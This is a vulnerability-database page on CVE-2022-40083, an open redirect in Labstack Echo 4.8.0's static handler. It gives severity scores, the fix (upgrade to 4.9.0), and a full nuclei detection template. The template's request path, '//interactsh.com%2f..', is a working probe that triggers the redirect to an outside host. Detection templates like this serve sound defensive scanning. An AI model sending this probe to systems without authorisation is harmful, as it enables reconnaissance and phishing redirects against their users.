HexBrain

Browse / CVEs / CVE-2022-40083

CVE-2022-40083· labstack / echo· CWE-601

Labstack Echo 4.8.0 - Open Redirect

criticalseverity
9.6CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.

Fix

Download and install 4.9.0, which contains a patch for this issue.

How to confirm it

Send: GET {{BaseURL}}//interactsh.com%2f..
Positive when: matches in location /^\s*//interactsh.com/\.\./ AND status 301

Run it with nuclei: nuclei -id CVE-2022-40083 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-40083

info:
  name: Labstack Echo 4.8.0 - Open Redirect
  author: pdteam
  severity: critical
  description: |
    Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: Download and install 4.9.0, which contains a patch for this issue.
  reference:
    - https://github.com/labstack/echo/issues/2259
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40083
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2022-40083
    cwe-id: CWE-601
    epss-score: 0.03238
    epss-percentile: 0.88391
    cpe: cpe:2.3:a:labstack:echo:4.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labstack
    product: echo
  tags: cve,cve2022,redirect,labstack,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//interactsh.com%2f.."

    matchers-condition: and
    matchers:
      - type: regex
        part: location
        regex:
          - '^\s*//interactsh.com/\.\.'

      - type: status
        status:
          - 301

References

Use this check only on systems you are authorised to test. Where the data comes from